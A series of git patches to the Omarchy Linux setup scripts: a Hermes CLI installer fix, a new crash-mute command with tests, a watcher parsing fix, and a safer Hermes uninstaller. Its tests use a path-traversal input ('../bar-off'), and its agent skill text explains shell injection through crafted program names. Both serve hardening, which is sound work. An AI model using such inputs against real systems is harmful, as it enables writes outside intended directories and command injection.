exits +# non-zero when Hermes Desktop owns Hermes but has not finished setting it up, +# and this leaf is sourced under `bash -eE`, so that would abort the rest of +# omarchy-provision-user -- the default browser, the mailto handler and the +# finalize-user marker all come after it. +omarchy-install-hermes-cli || true diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index 523aa871..8f247184 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -209,3 +209,38 @@ grep -qxF "$stub_marker" "$test_home/.local/bin/hermes" || fail "the refreshed s grep -q "stale template" "$test_home/.local/bin/hermes" && fail "reinstalling rewrites our own stub" grep -q "exec mise x" "$test_home/.local/bin/hermes" || fail "the refreshed stub is the current template" pass "reinstalling refreshes the Omarchy stub" + +# install/user/mise.sh is sourced by install/user/all.sh through run_logged, +# which runs it under `bash -eE` and hands its exit code back to +# omarchy-provision-user's `set -euo pipefail`. Everything that finalizes a user +# -- the default browser, the mailto handler, the first-install migration +# markers, the finalize-user marker -- runs after that source, so this leaf +# returning non-zero costs the user all of it. The Hermes installer is the only +# line in it that can fail, and it does exactly that whenever hermes-desktop is +# installed but the app has not been launched yet: the case a second user on a +# shared machine hits on their first login. +mise_sh_home="$test_tmp/mise-sh-home" +mkdir -p "$mise_sh_home/.local/bin" + +cat >"$mock_bin/omarchy-mise-install" <<'SH' +#!/bin/bash +exit 0 +SH +chmod +x "$mock_bin/omarchy-mise-install" + +# Desktop installed, nothing bootstrapped: omarchy-install-hermes-cli exits 1. +OMARCHY_TEST_DESKTOP_INSTALLED=1 \ + OMARCHY_TEST_MISE_LOG="$mise_log" \ + HOME="$mise_sh_home" \ + PATH="$mock_bin:$ROOT/bin:$PATH" \ + bash "$ROOT/bin/omarchy-install-hermes-cli" >/dev/null 2>&1 && + fail "the Hermes installer exits non-zero when the desktop app has not set Hermes up" + +# Sourced exactly as run_logged does it. +OMARCHY_TEST_DESKTOP_INSTALLED=1 \ + OMARCHY_TEST_MISE_LOG="$mise_log" \ + HOME="$mise_sh_home" \ + PATH="$mock_bin:$ROOT/bin:$PATH" \ + bash -eE -c 'source "$1"' bash "$ROOT/install/user/mise.sh" >/dev/null 2>&1 || + fail "user setup survives a Hermes install that cannot finish" +pass "user setup survives a Hermes install that cannot finish" From 2f918a75ada3709373c5d7b53e8cf4445b2ec789 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 10:48:06 +0200 Subject: [PATCH 083/336] Stop the Hermes interpreter pin following the agent into the user's projects The stub exports UV_PYTHON so mise builds Hermes against 3.13, which Hermes requires and Arch's Python is past. Exported, it survived the exec into Hermes itself and reached every command the agent shells out to. Hermes is a coding agent that runs commands in the user's own repositories, so a `uv venv` or `uv sync` there resolved 3.13 as well: on a project declaring requires-python >=3.14, uv warns that the interpreter contradicts it and builds the venv anyway. Dropping it at the handover keeps the pin over the install, where it belongs. mise x resolves the tool it already installed without it. Co-Authored-By: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-install-hermes-cli | 6 ++++- test/shell.d/hermes-cli-test.sh | 40 ++++++++++++++++++++++++++++++++- 2 files changed, 44 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index a69d33f0..a24f7aca 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -167,7 +167,11 @@ if ! [[ -d "\$(mise where '$tool' 2>/dev/null)/hermes-agent/lib/python$python" ] mise use -g --quiet --force '$tool' || exit 1 fi -exec mise x '$tool' -- hermes "\$@" +# The pin belongs to building Hermes, not to everything Hermes then runs. +# Exported it would reach the agent and every command it shells out to, so a +# uv in the user's own project would resolve 3.13 there too -- uv only warns +# when that contradicts the project's requires-python, and builds it anyway. +exec env -u UV_PYTHON mise x '$tool' -- hermes "\$@" EOF chmod +x "$HOME/.local/bin/hermes" diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index 8f247184..bfe94b95 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -42,6 +42,7 @@ run_installer() { } stub_marker="# Written by omarchy-install-hermes-cli." +python_pin="3.13" app_stub_body='#!/bin/bash exec /home/x/.hermes/hermes-agent/venv/bin/hermes "$@"' @@ -207,7 +208,7 @@ chmod +x "$test_home/.local/bin/hermes" run_installer 0 || fail "reinstalling over our own stub succeeds" grep -qxF "$stub_marker" "$test_home/.local/bin/hermes" || fail "the refreshed stub still carries the marker" grep -q "stale template" "$test_home/.local/bin/hermes" && fail "reinstalling rewrites our own stub" -grep -q "exec mise x" "$test_home/.local/bin/hermes" || fail "the refreshed stub is the current template" +grep -q "exec env -u UV_PYTHON mise x" "$test_home/.local/bin/hermes" || fail "the refreshed stub is the current template" pass "reinstalling refreshes the Omarchy stub" # install/user/mise.sh is sourced by install/user/all.sh through run_logged, @@ -244,3 +245,40 @@ OMARCHY_TEST_DESKTOP_INSTALLED=1 \ bash -eE -c 'source "$1"' bash "$ROOT/install/user/mise.sh" >/dev/null 2>&1 || fail "user setup survives a Hermes install that cannot finish" pass "user setup survives a Hermes install that cannot finish" + +# UV_PYTHON pins the interpreter Hermes is built against. Left in the +# environment it reaches Hermes itself and every command the agent shells out +# to, so a `uv` run in the user's own project resolves 3.13 there as well -- +# uv only warns that this contradicts the project's requires-python, then +# builds the venv anyway. The stub drops it before handing over. +leak_home="$test_tmp/leak-home" +leak_bin="$test_tmp/leak-bin" +leak_log="$test_tmp/leak-log" +leak_prefix="$test_tmp/leak-prefix" +mkdir -p "$leak_home/.local/bin" "$leak_bin" "$leak_prefix/hermes-agent/lib/python$python_pin" + +# A mise whose `where` satisfies the stub's probe, so the stub goes straight to +# handing over, and whose `x` records the UV_PYTHON it was handed. +cat >"$leak_bin/mise" <"$leak_log" ;; +esac +SH +chmod +x "$leak_bin/mise" + +OMARCHY_TEST_DESKTOP_INSTALLED=0 \ + OMARCHY_TEST_MISE_LOG="$mise_log" \ + HOME="$leak_home" \ + PATH="$mock_bin:$PATH" \ + bash "$ROOT/bin/omarchy-install-hermes-cli" >/dev/null 2>&1 || + fail "the installer writes a stub for the leak check" + +HOME="$leak_home" PATH="$leak_bin:$mock_bin:$PATH" \ + "$leak_home/.local/bin/hermes" --version >/dev/null 2>&1 + +[[ -f $leak_log ]] || fail "the stub reaches the command it wraps" +[[ -z $(cat "$leak_log") ]] || + fail "the interpreter pin does not follow Hermes into the commands it runs" +pass "the interpreter pin does not follow Hermes into the commands it runs" From ea6ee9440ab4be75b2c3b05527d61ea206a01ce1 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Thu, 27 Aug 2026 11:26:28 +0200 Subject: [PATCH 084/336] Add omarchy-crash-mute to mute and unmute one program The mute was reachable only as `omarchy-toggle crash-ignore/`, which asks whoever runs it to know the flag layout, to reduce a binary's path to the name the watcher keys on, and to have read the rule that a name climbing out of that directory writes an unrelated toggle. All of that was carried in the skill's prose, which is the wrong place for a rule that has to hold: prose is advice, and the thing being advised about is a name the crashed program chose. So it is a command now. `omarchy crash mute hyprland` silences that program, `off` lifts it, `toggle` flips it, and no argument lists what is muted. It takes the binary's path as readily as the name and reduces it the way the watcher does, so the `Executable:` line from `coredumpctl` can be handed straight to it; it refuses what is not one component of a name, so it cannot be talked into writing outside its own directory whatever it is given; and it re-reads the flag afterwards and reports what is now true rather than what was asked for. The listing counts only regular files, because that is all the watcher honours -- anything else in there would read as muted while the crashes kept arriving. A leading `--` is consumed so a program named `-h`, which the router would otherwise answer with its own help, can still be muted. The watcher gained an unrelated fix that this uncovered. Its fields are read with `IFS=$'\t'`, and tab is IFS whitespace, so an empty field collapsed into the next delimiter and shifted every field after it along one: a crash whose comm was empty had a path read as its pid and was discarded as somebody else's. A process can set its comm to nothing, so that was reachable. Empty fields now arrive as a dash like missing ones, and a dash joins the empty and dot cases that fall back to `unknown`. Co-Authored-By: Codex XHigh --- bin/omarchy | 1 + bin/omarchy-crash-mute | 73 +++++++++ bin/omarchy-crash-watch | 26 +-- default/agents/skills/diagnose-crash/SKILL.md | 53 +++--- manual/17-ai.md | 2 +- test/shell.d/crash-capture-test.sh | 152 +++++++++++++++++- 6 files changed, 264 insertions(+), 43 deletions(-) create mode 100755 bin/omarchy-crash-mute diff --git a/bin/omarchy b/bin/omarchy index 111d214a..4219109b 100755 --- a/bin/omarchy +++ b/bin/omarchy @@ -40,6 +40,7 @@ GROUP_DESCRIPTIONS[channel]="Omarchy release channel management" GROUP_DESCRIPTIONS[clipboard]="Clipboard helpers" GROUP_DESCRIPTIONS[cmd]="Command and shortcut helpers" GROUP_DESCRIPTIONS[config]="System configuration helpers" +GROUP_DESCRIPTIONS[crash]="Crash notification controls" GROUP_DESCRIPTIONS[debug]="Diagnostics and support logs" GROUP_DESCRIPTIONS[finalize]="Finalize user setup" GROUP_DESCRIPTIONS[default]="Default application selection" diff --git a/bin/omarchy-crash-mute b/bin/omarchy-crash-mute new file mode 100755 index 00000000..88229fea --- /dev/null +++ b/bin/omarchy-crash-mute @@ -0,0 +1,73 @@ +#!/bin/bash + +# omarchy:summary=Silence crash notifications for one program, or list what is silenced +# omarchy:args=[--] [] [on|off|toggle] +# omarchy:examples=omarchy crash mute | omarchy crash mute hyprland | omarchy crash mute /usr/bin/hyprland | omarchy crash mute hyprland off + +# The flag omarchy-crash-watch reads before announcing a crash. Muting is per +# program; Trigger > Toggle > Crash Capture is the switch for all of them. + +set -uo pipefail + +readonly MUTES="$HOME/.local/state/omarchy/toggles/crash-ignore" + +usage() { + echo "Usage: omarchy crash mute [--] [] [on|off|toggle]" >&2 +} + +# Only regular files, because that is all the watcher honours: anything else in +# there would be reported as muted while the crashes kept arriving. The dotted +# glob is for a program legitimately called .hidden, and `.` and `..` fail the +# same -f test that keeps them out. +list() { + local entry found=0 + + for entry in "$MUTES"/* "$MUTES"/.*; do + [[ -f $entry ]] || continue + printf '%s\n' "${entry##*/}" + found=1 + done + + ((found)) || echo "No programs muted. Crashes all notify." +} + +# A program may be named -h, and the router answers that with its own help +# before this ever runs. `omarchy crash mute -- -h` is the way through. +[[ ${1:-} == "--" ]] && shift + +if (($# == 0)); then + list + exit 0 +fi + +program=$1 +action=${2:-on} + +# The watcher keys the mute on the executable's basename, so accept the path it +# reports as readily as the name, and reduce either the same way it does. +program=${program##*/} + +if [[ -z $program || $program == "." || $program == ".." ]]; then + echo "Not a program name: $1" >&2 + usage + exit 1 +fi + +case "$action" in + on|off|toggle) ;; + *) + echo "Not an action: $action" >&2 + usage + exit 1 + ;; +esac + +omarchy-toggle "crash-ignore/$program" "$action" || exit 1 + +# Report what is now true rather than what was asked for: the flag is what the +# watcher reads, and a toggle does not say which way it went. +if omarchy-toggle-enabled "crash-ignore/$program"; then + echo "Muted crash notifications for $program." +else + echo "Crash notifications for $program are back on." +fi diff --git a/bin/omarchy-crash-watch b/bin/omarchy-crash-watch index 09dd32d3..d3e78d16 100755 --- a/bin/omarchy-crash-watch +++ b/bin/omarchy-crash-watch @@ -48,12 +48,17 @@ announce() { # -n 0 so a restart does not re-announce crashes already dealt with. journalctl -f -n 0 -o json "MESSAGE_ID=$COREDUMP_MESSAGE_ID" 2>/dev/null | while IFS= read -r entry; do + # A dash for a field that is empty as well as one that is missing: tab is + # IFS whitespace, so an empty field collapses into the next delimiter and + # every field after it shifts along one. A process can set its own comm to + # nothing, and that crash used to be read as somebody else's and dropped. IFS=$'\t' read -r uid comm pid exe signal < <( - jq -r '[(._UID // "-"), - (.COREDUMP_COMM // "-"), - (.COREDUMP_PID // "-"), - (.COREDUMP_EXE // "-"), - (.COREDUMP_SIGNAL_NAME // "-")] | @tsv' <<<"$entry" 2>/dev/null + jq -r 'def field: if . == null or . == "" then "-" else . end; + [(._UID | field), + (.COREDUMP_COMM | field), + (.COREDUMP_PID | field), + (.COREDUMP_EXE | field), + (.COREDUMP_SIGNAL_NAME | field)] | @tsv' <<<"$entry" 2>/dev/null ) [[ $pid =~ ^[0-9]+$ ]] || continue @@ -78,10 +83,11 @@ journalctl -f -n 0 -o json "MESSAGE_ID=$COREDUMP_MESSAGE_ID" 2>/dev/null | name=${name##*/} # What that leaves is not always a name. "/" leaves nothing, which is no - # kind of array subscript and no kind of toast, and a dot component names a + # kind of array subscript and no kind of toast; a dot component names a # directory rather than a flag, so a mute on it would touch that directory - # and then never match. - [[ -n $name && $name != "." && $name != ".." ]] || name=unknown + # and then never match; and a dash is what the read above puts there when + # the crash recorded no name at all. + [[ -n $name && $name != "-" && $name != "." && $name != ".." ]] || name=unknown [[ -n $ignore_pattern && $name =~ $ignore_pattern ]] && continue @@ -89,8 +95,8 @@ journalctl -f -n 0 -o json "MESSAGE_ID=$COREDUMP_MESSAGE_ID" 2>/dev/null | [[ $name == omarchy-crash-* || $name == omarchy-agent-* ]] && continue # Muted at the end of a diagnosis, when the user was offered it and said - # yes. A flag per program rather than one list, so it un-mutes with - # `omarchy-toggle crash-ignore/ off` and reads with `ls -A`. + # yes. A flag per program rather than one list, so omarchy-crash-mute can + # lift one without reading, rewriting and re-parsing the rest. omarchy-toggle-enabled "crash-ignore/$name" && continue now=$EPOCHSECONDS diff --git a/default/agents/skills/diagnose-crash/SKILL.md b/default/agents/skills/diagnose-crash/SKILL.md index 7faadb1f..3ae58493 100644 --- a/default/agents/skills/diagnose-crash/SKILL.md +++ b/default/agents/skills/diagnose-crash/SKILL.md @@ -98,39 +98,40 @@ dumps core every time it exits, a driver that misbehaves on this hardware. Finis by offering to silence crash notifications for **that one program**: ```bash -omarchy-toggle 'crash-ignore/' on +omarchy-crash-mute '' ``` -`` is the `process:` name in the crash facts, verbatim. The watcher works -that name out and then announces it, so what you were handed is already the exact -string the mute is keyed on — do not re-derive it from `coredumpctl` when you were -given it, because the two agree for ordinary names and not for strange ones. +`` is the `process:` name in the crash facts, or the `binary:` path — +the command reduces a path to the same name the watcher keys on, so passing +`/usr/lib/chromium/chromium-browser` and passing `chromium-browser` land on the +same flag. Prefer the binary's path wherever the crash recorded one: the kernel +truncates the process name to 15 characters and does not truncate a basename, and +a mute on the truncated form matches nothing, forever, while looking like it +worked. -A diagnosis started by hand from `omarchy agent crash ` is given no name, so -there you do have to work it out the way the watcher does: the executable's -basename when an absolute `Executable:` was recorded, otherwise the process name -with everything up to the last `/` dropped, and `unknown` when that leaves -nothing, `.` or `..`. Prefer the executable — the kernel truncates the process -name to 15 characters and does not truncate the basename, so a mute on the -truncated one matches nothing, forever, while looking like it worked. +That is also the answer for a diagnosis started by hand from `omarchy agent crash +`, which is handed no name at all: give the command the `Executable:` line +from `coredumpctl info` and let it do the reducing. Some crashes record no +executable — pass the process name then, and `unknown` where the crash has +neither, which is the name such a crash is announced under. -The name is whatever the crashed program's author chose to call a file, so handle -it as hostile text rather than as a word. Single quotes hold a space or a `$(...)`, -but a name containing a single quote closes them and the rest of it runs as your -shell — escape it, or the program that just crashed chooses the command. Then -check the flag actually arrived, which is also how you learn a name was too long -for the filesystem to keep: - -```bash -omarchy-toggle-enabled 'crash-ignore/' && echo muted -``` +The name is still whatever the crashed program's author chose to call a file, so +handle it as hostile text rather than as a word. The command refuses a name that +is not one — it cannot be talked into writing a flag outside its own directory — +but that is no help if the name reaches a shell unescaped first: single quotes +hold a space or a `$(...)`, and a name containing a single quote closes them and +runs the rest as your shell. Escape it, or the program that just crashed picks +the command. Offer it; never run it unprompted. The user may well want to keep being told. -Say how to undo it in the same breath, so it is not a one-way door: the same -command with `off` un-mutes, and each mute is one file in -`~/.local/state/omarchy/toggles/crash-ignore/`, which `ls -A` lists — the -directory appears with the first mute, so before that there is nothing to list. +Say how to undo it in the same breath, so it is not a one-way door — and the +command answers both halves itself: + +```bash +omarchy-crash-mute '' off # un-mute this one +omarchy-crash-mute # list what is muted +``` The key is a bare name, so programs sharing one share a mute, and anything run through an interpreter is keyed as the interpreter. Muting `python3.13` or `node` diff --git a/manual/17-ai.md b/manual/17-ai.md index 86c99354..57698f42 100644 --- a/manual/17-ai.md +++ b/manual/17-ai.md @@ -39,7 +39,7 @@ Omarchy watches systemd-coredump for process crashes. When something segfaults, The watching is on by default. Turn it off under _Trigger > Toggle > Crash Capture_ (or with `omarchy toggle crash-capture`) and the notifications stop; `omarchy agent crash ` still works by hand. -Crashes can also be silenced one program at a time, which is what the diagnosis offers you at the end: `omarchy toggle 'crash-ignore/' on` stops the notifications for that program only, and the same command with `off` brings them back. Use `` exactly as the notification named it, in single quotes, which is what carries a name with a space in it; a name containing a quote character closes those quotes, so that one has to be escaped as well. Each mute is a file in `~/.local/state/omarchy/toggles/crash-ignore/`, so `ls -A` there shows what you've muted once you've muted something. Everything else still notifies, and the muted program still crashes — this hides the reminder, it doesn't fix anything. +Crashes can also be silenced one program at a time, which is what the diagnosis offers you at the end. `omarchy crash mute hyprland` stops the notifications for that program only, `omarchy crash mute hyprland off` brings them back, and `omarchy crash mute` on its own lists what you've muted. It takes the binary's path as happily as its name, so `omarchy crash mute /usr/bin/hyprland` does the same thing. Quote a name with a space in it, as in `omarchy crash mute 'Some App'`. Everything else still notifies, and the muted program still crashes — this hides the reminder, it doesn't fix anything. ### Desktop apps diff --git a/test/shell.d/crash-capture-test.sh b/test/shell.d/crash-capture-test.sh index 2f705310..1b7e93d0 100755 --- a/test/shell.d/crash-capture-test.sh +++ b/test/shell.d/crash-capture-test.sh @@ -122,8 +122,12 @@ run_watch() { fail "the watcher exited $status rather than carrying on, so a mute takes the service down with it" } +# Through the real command rather than writing the flag by hand: these assertions +# are then the guard that the thing the diagnosis runs and the thing the watcher +# reads have not drifted apart. mute() { - HOME="$watch_home" "$ROOT/bin/omarchy-toggle" "crash-ignore/$1" "$2" + HOME="$watch_home" PATH="$ROOT/bin:$PATH" \ + "$ROOT/bin/omarchy-crash-mute" "$1" "$2" >/dev/null } announced() { @@ -214,6 +218,19 @@ for empty_comm in / a/ . ..; do done pass "a comm that strips down to nothing or a dot still announces under a name a mute can use" +# An empty comm is not a missing entry. Tab is IFS whitespace, so an empty field +# collapses and every field after it shifts along one -- the pid becomes a path, +# the crash reads as somebody else's, and it is dropped without a word. +reset_entries +crash_entry "" - +crash_entry nautilus /usr/bin/nautilus +run_watch +announced unknown || + fail "a crash whose comm is empty is dropped instead of announced, because the empty field shifted every field after it" +announced nautilus || + fail "an empty comm derails the rest of the journal entry" +pass "an empty comm is announced rather than parsed into the next field" + # Only "." and ".." are special. A leading dot is an ordinary filename, and # folding those into the fallback would have one program's mute silence another. for dotted_comm in .hidden ...; do @@ -235,12 +252,135 @@ run_watch pass "the fallback name can be muted like any other" mute unknown off +# What omarchy-crash-mute does on its own. That it agrees with the watcher is +# already covered above, which drives it for every mute it makes. +mute_home="$TMPDIR/mute-home" +mkdir -p "$mute_home" + +crash_mute() { + HOME="$mute_home" PATH="$ROOT/bin:$PATH" "$ROOT/bin/omarchy-crash-mute" "$@" +} + +mute_flag() { + [[ $1 == "--" ]] && shift + printf '%s' "$mute_home/.local/state/omarchy/toggles/crash-ignore/$1" +} + +crash_mute | grep -Fq "No programs muted" || + fail "an empty mute list prints nothing, so a user cannot tell it from a broken command" +pass "the command says so when nothing is muted" + +crash_mute hyprland >/dev/null +crash_mute | grep -Fqx hyprland || + fail "a muted program is missing from the list, so a mute cannot be found again to lift it" +pass "the command lists what it muted" + +# The watcher keys on the basename, so the command has to take the path a crash +# recorded and land on the same flag the watcher will look for. +crash_mute /usr/lib/chromium/chromium-browser >/dev/null +[[ -f $(mute_flag chromium-browser) ]] || + fail "a binary's path is muted verbatim rather than by name, so the watcher never sees that flag" +pass "the command reduces a path to the name the watcher checks" + +crash_mute hyprland off >/dev/null +[[ ! -f $(mute_flag hyprland) ]] || + fail "off leaves the program muted, making the mute a one-way door" +pass "the command un-mutes" + +# Muting is not flipping. The diagnosis offers this on a program the user may +# already have muted, and asking for a mute twice has to leave it muted. +crash_mute hyprland >/dev/null +crash_mute hyprland >/dev/null +[[ -f $(mute_flag hyprland) ]] || + fail "muting an already-muted program un-mutes it, so offering the mute a second time turns it back on" +pass "asking to mute twice leaves it muted" + +# A program may legitimately be called .hidden, and a mute nobody can see is a +# mute nobody can lift. +crash_mute .hidden >/dev/null +crash_mute | grep -Fqx .hidden || + fail "a mute on a dotted name is missing from the list, so it can never be found and lifted" +pass "the list shows a name that begins with a dot" + +# It turns what it is given into a path, so it has to refuse whatever is not one +# component of one. +for bad_name in . .. /; do + ! crash_mute "$bad_name" >/dev/null 2>&1 || + fail "'$bad_name' is taken as a program name, and the flag that writes is not one the watcher will ever read" +done +pass "the command refuses a name that is not a name" + +! crash_mute hyprland sideways >/dev/null 2>&1 || + fail "an action it does not know is treated as a mute, so a typo silences a program" +pass "the command refuses an action it does not know" + +# And says what it refused, or the user retypes the same thing. Captured rather +# than piped: the command exits non-zero here, which pipefail would surface as +# the pipeline's status and read as a failed assertion. +refusal=$(crash_mute hyprland sideways 2>&1) || true +grep -Fq "Not an action" <<<"$refusal" || + fail "an unknown action is refused without naming it, leaving the user nothing to correct" +pass "the command names the action it refused" + +crash_mute ../bar-off >/dev/null +[[ ! -e "$mute_home/.local/state/omarchy/toggles/bar-off" ]] || + fail "a name that climbs out writes a sibling toggle, so muting a crash could turn off the bar instead" +pass "the command cannot be talked into writing outside crash-ignore/" + +# A program may be called -h, and the router answers that with its own help +# before the command runs. A leading -- is the way through, so it has to be +# consumed rather than taken for the program name. +crash_mute -- -h >/dev/null 2>&1 || + fail "a leading -- is refused rather than consumed, so a program named like a flag cannot be muted at all" +[[ -f $(mute_flag -- -h) ]] || + fail "a leading -- is taken for the program name, so muting -h mutes something else" +pass "a leading -- lets a program named like a flag be muted" + +# toggle is advertised, so it has to flip both ways rather than quietly mute. +crash_mute toggler off >/dev/null +crash_mute toggler toggle >/dev/null +[[ -f $(mute_flag toggler) ]] || + fail "toggle does not mute an un-muted program" +crash_mute toggler toggle >/dev/null +[[ ! -f $(mute_flag toggler) ]] || + fail "toggle mutes but never un-mutes, so the advertised action only goes one way" +pass "toggle flips a mute both ways" + +# The listing means what the watcher means, and the watcher honours a regular +# file. Anything else in there is not a mute, however much it looks like one. +mkdir -p "$(mute_flag notactuallymuted)" +! crash_mute | grep -Fqx notactuallymuted || + fail "a directory is reported as muted while that program's crashes keep arriving" +pass "the listing counts only the flags the watcher honours" +rmdir "$(mute_flag notactuallymuted)" + +# A mute that could not be written must not be reported as one. Without this the +# command can print success for a flag that was never created. +failing_bin="$TMPDIR/failing-bin" +mkdir -p "$failing_bin" +cat >"$failing_bin/omarchy-toggle" <<'SH' +#!/bin/bash +exit 1 +SH +chmod +x "$failing_bin/omarchy-toggle" + +status=0 +refusal=$(HOME="$mute_home" PATH="$failing_bin:$ROOT/bin:$PATH" \ + "$ROOT/bin/omarchy-crash-mute" hyprland 2>&1) || status=$? +(( status != 0 )) || + fail "a mute that could not be written exits zero, so nothing downstream learns it failed" +! grep -Fq "Muted crash notifications" <<<"$refusal" || + fail "a mute that could not be written still reports success, so the user believes a program is silenced when it is not" +pass "a mute that could not be written is not reported as one" + skill="$ROOT/default/agents/skills/diagnose-crash/SKILL.md" -grep -Fq 'crash-ignore/' "$skill" || - fail "the diagnosis no longer offers the mute under the name the watcher reads, so the two have drifted apart" -grep -Fq 'crash-ignore/$name' "$ROOT/bin/omarchy-crash-watch" || - fail "the watcher no longer reads the flag the diagnosis offers to write" -pass "the diagnosis and the watcher name the same flag" +grep -Fq 'omarchy-crash-mute' "$skill" || + fail "the diagnosis no longer names the command that mutes, so the offer it makes cannot be carried out" +pass "the diagnosis names the command that mutes" + +grep -Fq 'GROUP_DESCRIPTIONS[crash]' "$ROOT/bin/omarchy" || + fail "the crash group has no description, so the router lists a group it cannot describe" +pass "the crash group is described in the router" run_node_test <<'JS' const fs = require('fs') From ba78e7df090ea04d25a39858cc940e4357bbdfe1 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 11:44:39 +0200 Subject: [PATCH 085/336] Leave a Hermes the app never installed alone Remove > AI > Hermes deleted ~/.hermes/hermes-agent, bootstrap-cache, bin and node unconditionally, plus any wrapper on PATH pointing into ~/.hermes. The official Hermes installer uses those same paths, so a user who installed the CLI themselves, then installed the app and never launched it, lost their checkout, venv and any local changes -- while being told their chats, memories and skills were safe. The app provisions its runtime on first launch and writes .hermes-bootstrap-complete when it lands. Without that marker the app never got that far and everything under ~/.hermes predates it, so dropping the package is the whole job. Two smaller things in the same path. The wrapper test matched ~/.hermes as a pattern, and the dot made it claim a wrapper pointing at a sibling like ~/xhermes; it is a plain string now, and a symlink there is the user's arrangement rather than something to delete. And -u, so an unset HOME is an error instead of a set of rm -rf paths rooted at /. Co-Authored-By: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-remove-ai-hermes | 82 +++++++++++++++++------------- test/shell.d/hermes-remove-test.sh | 39 +++++++++++++- 2 files changed, 83 insertions(+), 38 deletions(-) diff --git a/bin/omarchy-remove-ai-hermes b/bin/omarchy-remove-ai-hermes index 830ca2ad..f67b1d6d 100755 --- a/bin/omarchy-remove-ai-hermes +++ b/bin/omarchy-remove-ai-hermes @@ -3,47 +3,57 @@ # omarchy:summary=Remove the Hermes desktop app along with the Hermes runtime it installed. # omarchy:requires-sudo=true -set -e +# -u so an unset HOME is an error rather than a set of rm -rf paths rooted at /. +set -euo pipefail omarchy-pkg-drop hermes-desktop -# The app installs a Hermes of its own under ~/.hermes -- the checkout and venv, -# its own uv, its own node -- and puts its commands on PATH. None of it is any -# use once the app is gone. Not ~/.config/Hermes, which holds the gateway -# connections and their encrypted tokens, the active profile and the update -# settings. Not the rest of ~/.hermes either: -# the chats, memories and the skills Hermes wrote for itself are the user's, -# they are small, and finding them still there after a reinstall is the better -# surprise. -rm -rf \ - "$HOME/.hermes/hermes-agent" \ - "$HOME/.hermes/bootstrap-cache" \ - "$HOME/.hermes/bin" \ - "$HOME/.hermes/node" +# The app writes this when the runtime it provisions under ~/.hermes has landed, +# and it is the only thing that tells that runtime apart from one the user +# installed themselves -- the paths are the same either way. Without it the app +# never got that far: a machine where it was installed but never launched still +# has whatever was there before, and none of it is ours to delete. +if [[ -f $HOME/.hermes/hermes-agent/.hermes-bootstrap-complete ]]; then + # The checkout and venv, its own uv, its own node. None of it is any use once + # the app is gone. Not ~/.config/Hermes, which holds the gateway connections + # and their encrypted tokens, the active profile and the update settings. Not + # the rest of ~/.hermes either: the chats, memories and the skills Hermes + # wrote for itself are the user's, they are small, and finding them still + # there after a reinstall is the better surprise. + rm -rf \ + "$HOME/.hermes/hermes-agent" \ + "$HOME/.hermes/bootstrap-cache" \ + "$HOME/.hermes/bin" \ + "$HOME/.hermes/node" -# Only the wrappers pointing into ~/.hermes. The app writes these at its own -# path stage, so a machine where it was installed but never launched still has -# whatever was there before, and that is not ours to delete. -for command in hermes hermes-agent hermes-acp; do - wrapper="$HOME/.local/bin/$command" + # Only the wrappers pointing into ~/.hermes, matched as a plain string: the + # path carries a dot, so an unanchored pattern would also claim a wrapper + # pointing at a sibling like ~/xhermes. + for command in hermes hermes-agent hermes-acp; do + wrapper="$HOME/.local/bin/$command" - if [[ -f $wrapper ]] && grep -q "$HOME/.hermes" "$wrapper"; then - rm -f "$wrapper" - fi -done + if [[ -f $wrapper && ! -L $wrapper ]] && grep -qF "$HOME/.hermes" "$wrapper"; then + rm -f "$wrapper" + fi + done -# When Hermes brought its own Node it symlinked these next to its own commands, -# and they point at what we just deleted. Only the links into ~/.hermes: a -# system Node, or someone else's, lives somewhere else entirely. -for command in node npm npx; do - link="$HOME/.local/bin/$command" + # When Hermes brought its own Node it symlinked these next to its own commands, + # and they point at what we just deleted. Only the links into ~/.hermes: a + # system Node, or someone else's, lives somewhere else entirely. + for command in node npm npx; do + link="$HOME/.local/bin/$command" - if [[ -L $link && $(readlink "$link") == "$HOME/.hermes"/* ]]; then - rm -f "$link" - fi -done + if [[ -L $link && $(readlink "$link") == "$HOME/.hermes"/* ]]; then + rm -f "$link" + fi + done -echo "" -echo "Hermes Desktop has been removed." -echo "Your chats, memories, and skills are still in ~/.hermes," -echo "and your connections and settings in ~/.config/Hermes." + echo "" + echo "Hermes Desktop has been removed." + echo "Your chats, memories, and skills are still in ~/.hermes," + echo "and your connections and settings in ~/.config/Hermes." +else + echo "" + echo "Hermes Desktop has been removed." + echo "It never finished installing its own Hermes, so nothing in ~/.hermes was touched." +fi diff --git a/test/shell.d/hermes-remove-test.sh b/test/shell.d/hermes-remove-test.sh index 423a297e..bc80859f 100755 --- a/test/shell.d/hermes-remove-test.sh +++ b/test/shell.d/hermes-remove-test.sh @@ -31,6 +31,7 @@ seed_install() { ln -sf "$test_home/.hermes/node/bin/npm" "$test_home/.local/bin/npm" ln -sf /usr/bin/npx "$test_home/.local/bin/npx" printf 'node\n' >"$test_home/.hermes/node/bin/node" + touch "$test_home/.hermes/hermes-agent/.hermes-bootstrap-complete" } remove() { @@ -66,8 +67,8 @@ pass "removal keeps what belongs to the user" [[ ! -e $test_home/.local/bin/hermes ]] || fail "the app's own hermes command is removed" pass "removal takes the command the app installed" -# Installed but never launched: the app never wrote these, so they are somebody -# else's and must survive. +# A hermes command the app did not write survives even when the app did install +# a runtime of its own. seed_install printf '%s\n' "#!/bin/bash" "exec /usr/local/bin/my-own-hermes \"\$@\"" \ >"$test_home/.local/bin/hermes" @@ -75,3 +76,37 @@ remove || fail "remove succeeds with a foreign hermes present" [[ -f $test_home/.local/bin/hermes ]] || fail "a hermes command the app did not write survives removal" pass "removal leaves a hermes it does not own" + +# Installed but never launched. The app provisions its runtime on first launch +# and marks it complete when it lands, so without that marker everything under +# ~/.hermes predates the app 